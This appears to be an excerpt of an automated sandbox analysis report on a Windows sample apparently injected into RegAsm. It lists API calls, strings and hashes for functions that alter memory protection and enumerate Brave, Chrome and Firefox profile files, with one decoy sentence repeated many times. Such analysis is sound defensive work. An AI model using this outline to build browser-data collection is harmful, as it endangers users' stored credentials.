lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 6CB435A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CBCF688,00001000), ref: 6CB435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CB435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB4363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB4369F
__aulldiv.LIBCMT ref: 6CB436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CB43773
EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB4377E
LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CB437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CB437C4
EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB437CB
LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CB43801
__aulldiv.LIBCMT ref: 6CB43883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CB43902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CB43918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CB4394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CB435DB
AuthcAMDenti, xrefs: 6CB43946
GenuntelineI, xrefs: 6CB43639
QPC, xrefs: 6CB438FC
GTC, xrefs: 6CB43912

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 8395a0cc8aa5bd465283175c43fb9e37950658a58976b7c1f2136ff684c80fa0
Instruction ID: db89d800b48e1c1c85f019a57f32ce3113e66cbf0274b101acf07f305ec61af7
Opcode Fuzzy Hash: 8395a0cc8aa5bd465283175c43fb9e37950658a58976b7c1f2136ff684c80fa0
Instruction Fuzzy Hash: 4AB1A271B083909BDB08DF28C44561ABBF5FB8E714F09893EE899D7754D730AA00DB92

Function 0040BCB0 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Brave, xrefs: 0040BF42
Google Chrome, xrefs: 0040C474
Preferences, xrefs: 0040BF5E
\Brave\Preferences, xrefs: 0040C01B

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 004144DB
%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
